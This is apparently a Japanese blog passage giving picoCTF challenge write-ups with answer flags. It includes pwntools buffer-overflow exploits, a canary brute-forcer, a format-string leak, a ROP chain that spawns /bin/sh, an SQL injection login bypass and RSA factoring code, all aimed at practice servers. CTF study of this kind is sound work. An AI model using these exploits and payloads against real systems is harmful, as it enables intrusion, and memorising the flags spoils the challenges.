System.out.println("Invalid key");
return;
} else
{
System.out.println("Valid key");
return;
}
}
}
if文中にflagが1文字ずつ見える。
picoCTF{700l1ng_r3qu1r3d_738cac89}
Can you get the flag?
Go to this website and see what you can discover.
ゲストでログインできるボタンの付いたWebページが与えられる。クリックするとログインできるが、We apologize, but we have no guest services at the moment.
と表示される。
タイトル通りCookieを見ると、isAdmin:0
になっているので、これを1に書き換えるとAdminになることができてflag取得。
picoCTF{gr4d3_A_c00k13_5d2505be}
The flag is somewhere on this web application not necessarily on the website. Find it.
Check this out.
特に違和感のないWebサイトが与えられる。タイトルのヒント通り、/robots.txtを見てみる。
User-agent *
Disallow: /cgi-bin/
Think you have seen your flag or want to keep looking.
ZmxhZzEudHh0;anMvbXlmaW
anMvbXlmaWxlLnR4dA==
svssshjweuiwl;oiho.bsvdaslejg
Disallow: /wp-admin/
anMvbXlmaWxlLnR4dA==
をbase64デコードするとjs/myfile.txt
になる。該当ファイルを見に行くとflag入手。
picoCTF{Who_D03sN7_L1k5_90B0T5_718c9043}
Here's a program that plays rock, paper, scissors against you. I hear something good happens if you win 5 times in a row.
Connect to the program with netcat:$ nc saturn.picoctf.net 51420
The program's source code with the flag redacted can be downloaded here.
じゃんけんに5連勝するとflagを教えてもらえる。rock paper scissorsを選んでランダムに選ばれる手に勝つ必要があるが、勝敗を判定している部分の関数は以下の通り。
if (strstr(player_turn, loses[computer_turn])) {
puts("You win! Play again?");
return true;
} else {
puts("Seems like you didn't win this time. Play again?");
return false;
}
strstr関数は第一引数から第二引数を検索する関数で、一致しているかどうかを判定しているわけではない。よってrock/paper/scissorsを全部入力すると必ずパスすることができる。
picoCTF{50M3_3X7R3M3_1UCK_58F0F41B}
Morse code is well known. Can you decrypt this?
Download the file here.
Wrap your answer with picoCTF{}, put underscores in place of pauses, and use all lowercase.
ディレクトリトラバーサル問題。
picoCTF{succ3ss_@h3n1c@10n_39849bcf}
Download this disk image and find the flag.
Note: if you are using the webshell, download and extract the disk image into /tmp not your home directory.
Download compressed disk image
Linuxが含まれるディスクイメージが配布される。FTK Imagerで読み込んでpicoCTFで全体からFindするとflagが見つかる。
picoCTF{by73_5urf3r_3497ae6b}
Connect to this PostgreSQL server and find the flag!
psql -h saturn.picoctf.net -p 59763 -U postgres pico
Password is postgres
SQLサーバーに接続してテーブル表示及びテーブルの中身を表示させるコマンドを打つだけ。
picoCTF{L3arN_S0m3_5qL_t0d4Y_31fd14c0}
Overflow x64 code
Most problems before this are 32-bit x86. Now we'll consider 64-bit x86 which is a little different! Overflow the buffer and change the return address to the flag function in this program. Download source. nc saturn.picoctf.net 63901
x64のBOF問題。vuln.cのコードは以下の通り。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFFSIZE 64
#define FLAGSIZE 64
void flag() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
printf(buf);
}
void vuln(){
char buf[BUFFSIZE];
gets(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Welcome to 64-bit. Give me a string that gets you the flag: ");
vuln();
return 0;
}
vuln関数でBOFを起こしてflag関数に飛べばよい。ただしflag関数の先頭ではなくちょっと下を狙う。
objdump -M intel -d vuln > disass.txt
で逆アセンブル結果を出力、flag関数を読む。
0000000000401236 <flag>:
401236: f3 0f 1e fa endbr64
40123a: 55 push rbp
40123b: 48 89 e5 mov rbp,rsp
40123e: 48 83 ec 50 sub rsp,0x50
401242: 48 8d 35 bf 0d 00 00 lea rsi,[rip+0xdbf] # 402008 <_IO_stdin_used+0x8>
401249: 48 8d 3d ba 0d 00 00 lea rdi,[rip+0xdba] # 40200a <_IO_stdin_used+0xa>
401250: e8 db fe ff ff call 401130 <fopen@plt>
401255: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
401259: 48 83 7d f8 00 cmp QWORD PTR [rbp-0x8],0x0
40125e: 75 29 jne 401289 <flag+0x53>
401260: 48 8d 15 ac 0d 00 00 lea rdx,[rip+0xdac] # 402013 <_IO_stdin_used+0x13>
401267: 48 8d 35 ba 0d 00 00 lea rsi,[rip+0xdba] # 402028 <_IO_stdin_used+0x28>
40126e: 48 8d 3d e8 0d 00 00 lea rdi,[rip+0xde8] # 40205d <_IO_stdin_used+0x5d>
401275: b8 00 00 00 00 mov eax,0x0
40127a: e8 61 fe ff ff call 4010e0 <printf@plt>
40127f: bf 00 00 00 00 mov edi,0x0
401284: e8 b7 fe ff ff call 401140 <exit@plt>
401289: 48 8b 55 f8 mov rdx,QWORD PTR [rbp-0x8]
40128d: 48 8d 45 b0 lea rax,[rbp-0x50]
401291: be 40 00 00 00 mov esi,0x40
401296: 48 89 c7 mov rdi,rax
401299: e8 52 fe ff ff call 4010f0 <fgets@plt>
40129e: 48 8d 45 b0 lea rax,[rbp-0x50]
4012a2: 48 89 c7 mov rdi,rax
4012a5: b8 00 00 00 00 mov eax,0x0
4012aa: e8 31 fe ff ff call 4010e0 <printf@plt>
4012af: 90 nop
4012b0: c9 leave
4012b1: c3 ret
push rbpが終わった次の0x40123bに飛ばしたい。gdb-pedaでデバッグを行って適当な長い文字列を入れると72文字から先でvuln関数のret時のstackが上書きされる。
aaa....aaaa12345678と入れると12345678部分がリターンアドレスになっている。したがって次のPythonコードを作成。
from pwn import *
addr = 0x40123b
padding = b'a'*72
io = remote('saturn.picoctf.net',56862)
#io = process("./vuln")
io.recvuntil("Welcome to 64-bit. Give me a string that gets you the flag: ")
payload = padding + (addr).to_bytes(8, "little")
print(payload)
io.sendline(payload)
io.interactive()
picoCTF{b1663r_15_b3773r_11c407bc}
Can you get the flag?
Reverse engineer this binary.
Linux用実行ファイルbbbbloatが与えられる。実行するとWhat's my favorite number?
で入力を求められ、値が違うとSorry, that's not it!
で終了する。
objdump -M intel -d bbbbloat > disass.txt
で逆アセンブル。またIDA freeでSorry, that's not it!
への分岐部分を確認する。
___isoc99_scanfで標準入力を行ってからcmpでeaxと0x86187を比較して分岐させていることがわかる。
gdb-pedaで実行ファイルを開くが、start関数が存在せず逆アセンブルで手に入るアドレスをそのまま入力することはできない。適当なブレークポイントを張ってrunでプログラムを途中終了させ、i proc mapでメモリマップを確認。
開始アドレスが0x555555554000とわかったので、cmp部分のアドレスと足して目標のアドレスを作る。
14cb: 3d 87 61 08 00 cmp eax,0x86187
gdb-pedaで0x5555555554cbにブレークポイントを設定してrun、入力は適当な値を入れる。
cmp部分に到着、スタックに暗号化されたflagと思わしき文字列が見える。このまま実行するとSorryに進むが、レジスタを書き換えて分岐先を変更してみる。
set $eax=0x86187
でeaxを書き換えてプログラム再開。
picoCTF{cu7_7h3_bl047_36dd316a}
Control the return address and arguments
This time you'll need to control the arguments to the function you return to! Can you get the flag from this program?
You can view source here. And connect with it using nc saturn.picoctf.net 56833
x86のLinux用実行ファイルに対するBOF問題。ソースコードを確認する。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 100
#define FLAGSIZE 64
void win(unsigned int arg1, unsigned int arg2) {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
if (arg1 != 0xCAFEF00D)
return;
if (arg2 != 0xF00DF00D)
return;
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
puts(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}
vuln関数でBOFを起こしてリターンアドレスをwin関数に書き換えるが、さらにwin関数に2つの引数を与える必要がある。
objdump -M intel -d bbbbloat > disass.txt
で逆アセンブルして、vuln関数のアドレスを確認する。gdb-pedaでvulnを開き、vuln関数のretの部分にブレークポイントを張ってリターンアドレスを書き換えられる位置を探す。
任意の文字を112文字入力してからアドレスを入力すればリターンアドレスを変更できることがわかる。引数はさらに下のスタックに積んでいけばいいので、(112文字) + [winのアドレス] + [引数1] + [引数2]
の構成で引数を与えられると考えてgdb上で試してみる。
gdb上でASCIIコード以外の文字を渡すときには次のようにrunさせる。
run < <(python -c 'import os; os.write(1,b"A"*112+b"\x9a\x92\x04\x08\x0d\xf0\x0d\xf0\x0d\xf0\xfe\xca");')
ret時点で[winのアドレス] + [引数1] + [引数2]
を積むことができた。しかしwin関数を実行させていくとどうやら引数がズレており、次のように修正する必要があった。
(112文字) + [winのアドレス] + [適当な4文字] + [引数1] + [引数2]
gdbで次を実行するとflagを表示させる部分まで進めることができる。
run < <(python -c 'import os; os.write(1,b"A"*112+b"\x96\x92\x04\x08\x00\x00\x00\x00\r\xf0\xfe\xca\r\xf0\r\xf0");')
これをサーバーに対して行うPythonコードを書いた。
from pwn import *
addr = 0x8049296
arg1 = 0xCAFEF00D
arg2 = 0xF00DF00D
padding = b'a'*112
io = remote('saturn.picoctf.net',59727)
#io = process("./vuln")
io.recvuntil("Please enter your string: ")
payload = padding + addr.to_bytes(4, "little") + b'\x00'*4 + arg1.to_bytes(4, "little") + arg2.to_bytes(4, "little")
print(payload)
io.sendline(payload)
io.interactive()
実行するとflagを入手。
picoCTF{argum3nt5_4_d4yZ_b3fd8f66}
Do you think you can bypass the protection and get the flag?
It looks like Dr. Oswal added a stack canary to this program to protect against buffer overflows. You can view source here. And connect with it using:nc saturn.picoctf.net 53160
BOFがcanaryで対策されている問題。実は昔のpicoCTFのCanaRyとほぼ一緒。ソースコードは次の通り。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>
#define BUFSIZE 64
#define FLAGSIZE 64
#define CANARY_SIZE 4
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f); // size bound read
puts(buf);
fflush(stdout);
}
char global_canary[CANARY_SIZE];
void read_canary() {
FILE *f = fopen("canary.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'canary.txt' in this directory with your",
"own debugging canary.\n");
exit(0);
}
fread(global_canary,sizeof(char),CANARY_SIZE,f);
fclose(f);
}
void vuln(){
char canary[CANARY_SIZE];
char buf[BUFSIZE];
char length[BUFSIZE];
int count;
int x = 0;
memcpy(canary,global_canary,CANARY_SIZE);
printf("How Many Bytes will You Write Into the Buffer?\n> ");
while (x<BUFSIZE) {
read(0,length+x,1);
if (length[x]=='\n') break;
x++;
}
sscanf(length,"%d",&count);
printf("Input> ");
read(0,buf,count);
if (memcmp(canary,global_canary,CANARY_SIZE)) {
printf("***** Stack Smashing Detected ***** : Canary Value Corrupt!\n"); // crash immediately
exit(-1);
}
printf("Ok... Now Where's the Flag?\n");
fflush(stdout);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
read_canary();
vuln();
return 0;
}
試しに長い文字列を打ち込んでBOFさせてみると、ブロックされることがわかる。
BUFSIZEが64なので、65文字入力するとstackを上書きしてcanaryに引っかかる。
canaryはcanary.txtから読み込まれる固定された4文字だが、ここではcanaryを1文字だけ上書きしたはずなので、64文字+任意の1文字を変更しながらブルートフォース可能。1文字特定したら文字数を増やして試行を繰り返して4文字全てを特定するPythonコードを書いた。
from pwn import *
import string
canary = b''
strs = string.printable
for i in range(4):
for j in strs:
io = remote('saturn.picoctf.net',63019)
#io = process("./vuln")
io.recvuntil("> ")
io.sendline(str(65+i).encode())
io.recvuntil("> ")
payload = b'a'*64 + canary + j.encode()
print(canary + j.encode())
io.sendline(payload)
msg = io.recvline()
io.close()
if len(msg)<32:
print(msg)
canary += j.encode()
break
print(canary)
しばらく待つとcanary4文字がBiRd
であることがわかる。あとはwin関数に飛ばすだけ。gdb-pedaでvulnを開き、[64文字]+[BiRd]+[適当な文字数]
でリターンアドレスが上書きされる位置を探す。
合計88文字でリターンアドレスが4文字に書き換わった。objdump -M intel -d vuln > disass.txt
で逆アセンブルして、vuln関数のアドレスを確認して、以下のsolverを作成。
from pwn import *
addr = 0x8049336
canary = b"BiRd"
io = remote('saturn.picoctf.net',63019)
#io = process("./vuln")
payload = b'a'*64 + canary + b'a'*16 + addr.to_bytes(4, "little")
io.recvuntil("> ")
io.sendline(str(len(payload)).encode())
io.recvuntil("> ")
print(payload)
io.sendline(payload)
io.interactive()
実行するとflag入手。
picoCTF{Stat1C_c4n4r13s_4R3_b4D_f9792127}
Download this packet capture and find the flag.
Download packet capture
パケットキャプチャファイルが配布される。TCPストリームを追跡すると以下の会話が見つかる。ファイル転送を行っているようだ。
Hey, how do you decrypt this file again?
You're serious?
Yeah, I'm serious
*sigh* openssl des3 -d -salt -in file.des3 -out file.txt -k supersecretpassword123
Ok, great, thanks.
Let's use Discord next time, it's more secure.
C'mon, no one knows we use this program like this!
Whatever.
Hey.
Yeah?
Could you transfer the file to me again?
Oh great. Ok, over 9002?
Yeah, listening.
Sent it
Got it.
You're unbelievable
転送されているファイルは以下のTCPストリームのようだ。暗号化されたデータの特徴としてSalted__が目印。
このファイルを file.des3 として保存して、会話中にある復号コマンドをそのまま投げるだけ。
openssl des3 -d -salt -in file.des3 -out file.txt -k supersecretpassword123
file.txtが復号されてflagが手に入る。
picoCTF{nc_73115_411_5786acc3}
Story telling class 1/2
I'm just copying and pasting with this program. What can go wrong? You can view source here. And connect with it using:nc saturn.picoctf.net 59276
ジャンルからしてFormatStringAttack問題だろう。配布されるソースコードを確認する。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>
#define BUFSIZE 64
#define FLAGSIZE 64
void readflag(char* buf, size_t len) {
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,len,f); // size bound read
}
void vuln(){
char flag[BUFSIZE];
char story[128];
readflag(flag, FLAGSIZE);
printf("Tell me a story and then I'll tell you one >> ");
scanf("%127s", story);
printf("Here's a story - \n");
printf(story);
printf("\n");
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();
return 0;
}
vuln関数ではflagを読み込んだあとで任意の入力を受け付けている。入力データをそのままprintfで吐き出しているのでFormatStringAttackでメモリー上のflagを読む。適当に%p%p%p....をたくさん並べたものを入力してメモリ内のデータをリークさせる。
メモリ内のデータが出てくるので、この中にflagが含まれるかバイト列に変換してみる。以下のPythonコードで変換。
data = [0xffb6fbf0,0xffb6fc10,0x8049346,0x70257025,0x70257025,0x70257025,0x70257025,
0x70257025,0x70257025,0x70257025,0x70257025,0x70257025,0x70257025,0x70257025,
0x70257025,0x70257025,0x70257025,0x70257025,0x70257025,0x70257025,0x70257025,
0x70257025,0x70257025,0x70257025,0x70257025,0x70257025,0x70257025,0x70257025,
0x70257025,0x70257025,0x70257025,0x70257025,0x70257025,0x70257025,0xf7e2ea00,
0x6f636970,0x7b465443,0x6b34334c,0x5f676e31,0x67346c46,0x6666305f,0x3474535f,0x305f6b63,0x30313535,0x7d633238,0xfbad2000,0x3b9df500,0xf7fe5990,0x804c000,
0x8049410,0x804c000,0xffb6fcd8,0x8049418,0x2,0xffb6fd84,0xffb6fd90,0xffb6fcf0]
strs = b"";
for i in data:
strs += i.to_bytes(4, "little")
print(strs)
実行するとflagが見える。
picoCTF{L34k1ng_Fl4g_0ff_St4ck_0551082c}
What's ROP?
Can you exploit the following program to get the flag? Download source.
nc saturn.picoctf.net 56633
その名の通りROP問。実行ファイルとソースコードが配布される。ソースコードを確認する。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 16
void vuln() {
char buf[16];
printf("How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!\n");
return gets(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();
}
flagを出す関数がないのでshellを取る必要がある。実行ファイルは693KBの大きめのバイナリで、ROPに使える豊富なコードは含まれてそうである。
ROPgadget Tool( https://github.com/JonathanSalwan/ROPgadget )を使い、コマンド:ROPgadget --binary vuln --ropchain
でropchainを自動的に作らせる。
- Step 5 -- Build the ROP chain
#!/usr/bin/env python2
# execve generated by ROPgadget
from struct import pack
# Padding goes here
p = ''
p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
p += pack('<I', 0x080e5060) # @ .data
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x080b074a) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
p += pack('<I', 0x080e5064) # @ .data + 4
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x080b074a) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
p += pack('<I', 0x080e5068) # @ .data + 8
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x0804fb90) # xor eax, eax ; ret
p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08049022) # pop ebx ; ret
p += pack('<I', 0x080e5060) # @ .data
p += pack('<I', 0x08049e39) # pop ecx ; ret
p += pack('<I', 0x080e5068) # @ .data + 8
p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
p += pack('<I', 0x080e5068) # @ .data + 8
p += pack('<I', 0x080e5060) # padding without overwrite ebx
p += pack('<I', 0x0804fb90) # xor eax, eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0804a3d2) # int 0x80
続いてgdb-pedaを起動して、BOFでリターンアドレスを書き換えられる文字数を決定する。これは適当に試行して28文字であることがわかった。したがって、[28文字]+[ropchain]を入力すればshellを取ることができる。次のPythonコードを作成。
from pwn import *
from struct import pack
# Padding goes here
p = b'a'*28
p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
p += pack('<I', 0x080e5060) # @ .data
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x080b074a) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
p += pack('<I', 0x080e5064) # @ .data + 4
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x080b074a) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
p += pack('<I', 0x080e5068) # @ .data + 8
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x0804fb90) # xor eax, eax ; ret
p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08049022) # pop ebx ; ret
p += pack('<I', 0x080e5060) # @ .data
p += pack('<I', 0x08049e39) # pop ecx ; ret
p += pack('<I', 0x080e5068) # @ .data + 8
p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
p += pack('<I', 0x080e5068) # @ .data + 8
p += pack('<I', 0x080e5060) # padding without overwrite ebx
p += pack('<I', 0x0804fb90) # xor eax, eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0804a3d2) # int 0x80
io = remote('saturn.picoctf.net',53590)
#io = process("./vuln")
io.recvline()
io.sendline(p)
io.interactive()
実行するとshellを取ることができ、flag.txtを表示させてflag入手。
picoCTF{5n47ch_7h3_5h311_e81af635}
Can you login to this website?
Try to login here.
シンプルなSQLインジェクション問題。ログインページが与えられるので以下のような入力などでログインできる。
username:admin'--
password:hoge
クエリは以下のようになっているようだ。
username: admin'--
password: hoge
SQL query: SELECT * FROM users WHERE name='admin'--' AND password='hoge'
HTMLソースを読むとflagが書かれている。
<pre>username: admin'--
password: kk
SQL query: SELECT * FROM users WHERE name='admin'--' AND password='kk'
</pre><h1>Logged in! But can you see the flag, it is in plainsight.</h1><p hidden>Your flag is: picoCTF{L00k5_l1k3_y0u_solv3d_it_9b0a4e21}</p>
picoCTF{L00k5_l1k3_y0u_solv3d_it_9b0a4e21}
Download this image and find the flag.
Download image
ステガノグラフィー問題。実質ヒントゲー。ヒントを読むとWe know the end sequence of the message will be $t3g0.
と書かれており、$t3g0に対応するステガノツールを探す。
LSB Image Steganography Using Python ( https://medium.com/swlh/lsb-image-steganography-using-python-2bbbee2c69a2 ) が引っかかったので、説明に従いDecode関数を用意する。
import numpy as np
from PIL import Image
def Decode(src):
img = Image.open(src, 'r')
array = np.array(list(img.getdata()))
if img.mode == 'RGB':
n = 3
elif img.mode == 'RGBA':
n = 4
total_pixels = array.size//n
hidden_bits = ""
for p in range(total_pixels):
for q in range(0, 3):
hidden_bits += (bin(array[p][q])[2:][-1])
hidden_bits = [hidden_bits[i:i+8] for i in range(0, len(hidden_bits), 8)]
message = ""
for i in range(len(hidden_bits)):
if message[-5:] == "$t3g0":
break
else:
message += chr(int(hidden_bits[i], 2))
if "$t3g0" in message:
print("Hidden Message:", message[:-5])
else:
print("No Hidden Message Found")
Decode("pico.flag.png")
実行するとflag入手。
picoCTF{7h3r3_15_n0_5p00n_96ae0ac1}
Can you get the flag?
Reverse engineer this binary.
UPXでpackされたバイナリを解析する問題。まずはUPXでアンパックしてあげる。
Linuxで実行するとWhat's my favorite number?
と聞いてくるので、Bbbbloat(300points)と似たようなコードだと予想してIDA freeで該当部分を読む。
main関数の該当部分ではやはり条件分岐している。Bbbbloat(300points)と同じ様に解ける。gdb-pedaでバイナリを開き、cmp命令の0x401ef8にブレークポイントを張る。
cmp命令まで進んだらcmp eax,0xb83cb
を満たすように、eaxの値をset $eax=0xb83cb
で書き換えてContinue。
picoCTF{up><_m3_f7w_77ad107e}
Forget safe primes... Here, we like to live life dangerously... >:)
gen.py
output.txt
特殊な方法でpとqが生成されたRSA暗号の出力を解読する問題。暗号化に使われたPythonスクリプトは以下の通り。
#!/usr/bin/python
from binascii import hexlify
from gmpy2 import *
import math
import os
import sys
if sys.version_info < (3, 9):
math.gcd = gcd
math.lcm = lcm
_DEBUG = False
FLAG = open('flag.txt').read().strip()
FLAG = mpz(hexlify(FLAG.encode()), 16)
SEED = mpz(hexlify(os.urandom(32)).decode(), 16)
STATE = random_state(SEED)
def get_prime(state, bits):
return next_prime(mpz_urandomb(state, bits) | (1 << (bits - 1)))
def get_smooth_prime(state, bits, smoothness=16):
p = mpz(2)
p_factors = [p]
while p.bit_length() < bits - 2 * smoothness:
factor = get_prime(state, smoothness)
p_factors.append(factor)
p *= factor
bitcnt = (bits - p.bit_length()) // 2
while True:
prime1 = get_prime(state, bitcnt)
prime2 = get_prime(state, bitcnt)
tmpp = p * prime1 * prime2
if tmpp.bit_length() < bits:
bitcnt += 1
continue
if tmpp.bit_length() > bits:
bitcnt -= 1
continue
if is_prime(tmpp + 1):
p_factors.append(prime1)
p_factors.append(prime2)
p = tmpp + 1
break
p_factors.sort()
return (p, p_factors)
e = 0x10001
while True:
p, p_factors = get_smooth_prime(STATE, 1024, 16)
if len(p_factors) != len(set(p_factors)):
continue
# Smoothness should be different or some might encounter issues.
q, q_factors = get_smooth_prime(STATE, 1024, 17)
if len(q_factors) != len(set(q_factors)):
continue
factors = p_factors + q_factors
if e not in factors:
break
if _DEBUG:
import sys
sys.stderr.write(f'p = {p.digits(16)}\n\n')
sys.stderr.write(f'p_factors = [\n')
for factor in p_factors:
sys.stderr.write(f' {factor.digits(16)},\n')
sys.stderr.write(f']\n\n')
sys.stderr.write(f'q = {q.digits(16)}\n\n')
sys.stderr.write(f'q_factors = [\n')
for factor in q_factors:
sys.stderr.write(f' {factor.digits(16)},\n')
sys.stderr.write(f']\n\n')
n = p * q
m = math.lcm(p - 1, q - 1)
d = pow(e, -1, m)
c = pow(FLAG, e, n)
print(f'n = {n.digits(16)}')
print(f'c = {c.digits(16)}')
p,qの生成方法を調べると、p-1,q-1が小さな因数を大量に持つように作られている。
ヒントにDon't look at me... Go ask Mr. Pollard if you need a hint!
とあることから、このタイプのRSAを解くアルゴリズムがあると推測。
調べるとPollard p-1 Algorithm( https://www.geeksforgeeks.org/pollard-p-1-algorithm/ )というものが見つかる。これを実装しているPythonライブラリとして primefac があるそうなので、pip3 install primefac
でインストール。次のコードで因数分解して復号。
from Crypto.Util.number import inverse, bytes_to_long, long_to_bytes
from primefac import pollard_pm1
n = 0x65446ab139efe9744c78a271ad04d94ce541a299f9d4dcb658f66f49414fb913d8ac6c90dacc1ad43135454c3c5ac76c56d71d2816dac23db5c8caa773ae2397bd5909a1f2823c230f44ac684c437f16e4ca75d50b75d2f7e5549c034aa8a723c9eaa904572a8c5c6c1ed7093a0695522a5c41575c4dbf1158ca940c02b223f50ae86e6782819278d989200a2cd2be4b7b303dffd07209752ee5a3060c6d910a108444c7a769d003bf8976617b4459fdc15a2a73fc661564267f55be6a0d0d2ec4c06a4951df5a096b079d9e300f7ad72fa6c73a630f9a38e472563434c10225bde7d08c651bdd23fd471077d44c6aab4e01323ed78641983b29633ad104f3fd
c = 0x19a98df2bfd703a31fedff8a02d43bc11f1fb3c15cfa7a55b6a32b3532e1ac477f6accc448f9b7d2b4deaae887450217bb70298afaa0f5e31a77e7c6f8ba1986979f15d299230119e3dd7e42eb9ca4d58d084d18b328fbe08c8909a2afc67866d6550e4e6fa27dc13d05c51cc87259fe73e2a1890cc2825d76c8b2a99f72f6023fc96658ac355487a6c275717ca6c13551094818efae1cec3c8773cc5a72fed518c00a53ba9799d9d5c182795dfcece07c727183fdd86fd2cb4b95e9f231be1858320aa7f8430885eb3d24300552d1a83158636316e55e6ac0a30a608964dbf2c412aed6a15df5fd49e737f7c06c02360d0c292abc33a3735152db2fb5bc5f6d
e = 0x10001
p = pollard_pm1(n,1,2)
q = n//p
d = inverse(e, (p-1)*(q-1))
m = pow(c, d, n)
print(long_to_bytes(m))
picoCTF{376ebfe7}
Challenge best paired with wine.
I love windows. Checkout my exe running on a linux box. You can view source here. And connect with it using nc saturn.picoctf.net 49914
windows用の実行ファイルとソースコードが配布される。Windows!?となったが、ncで接続するとデバッグ出力をしてくれるので大した問題ではない。適当に長い文字列を入れてリターンアドレスの上書き位置を調べる。
入力文字列に対して0x67666564に飛ぼうとして停止したので、ここから文字数は140文字とわかった。[140文字]+[アドレス]でリターンアドレスを書き換えられるので、vuln.exeをGhidraに読ませてwin関数のアドレスを調べる。
次のPythonコードを作成。
from pwn import *
addr = 0x401530
padding = b'a'*140
io = remote('saturn.picoctf.net',49914)
io.recvuntil("Give me a string!")
payload = padding + addr.to_bytes(4, "little")
print(payload)
io.sendline(payload)
io.interactive()
実行するとwin関数に飛んでflagが手に入る。
picoCTF{Un_v3rr3_d3_v1n_25f25e91}
Story telling class 2/2
You can point to all kinds of things in C. Checkout our function pointers demo program. You can view source here. And connect with it using nc saturn.picoctf.net 64632
Linux用実行ファイルとソースコードが配布される。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>
#define BUFSIZE 64
#define FLAGSIZE 64
int calculate_story_score(char *story, size_t len)
{
int score = 0;
for (size_t i = 0; i < len; i++)
{
score += story[i];
}
return score;
}
void easy_checker(char *story, size_t len)
{
if (calculate_story_score(story, len) == 1337)
{
char buf[FLAGSIZE] = {0};
FILE *f = fopen("flag.txt", "r");
if (f == NULL)
{
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf, FLAGSIZE, f); // size bound read
printf("You're 1337. Here's the flag.\n");
printf("%s\n", buf);
}
else
{
printf("You've failed this class.");
}
}
void hard_checker(char *story, size_t len)
{
if (calculate_story_score(story, len) == 13371337)
{
char buf[FLAGSIZE] = {0};
FILE *f = fopen("flag.txt", "r");
if (f == NULL)
{
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
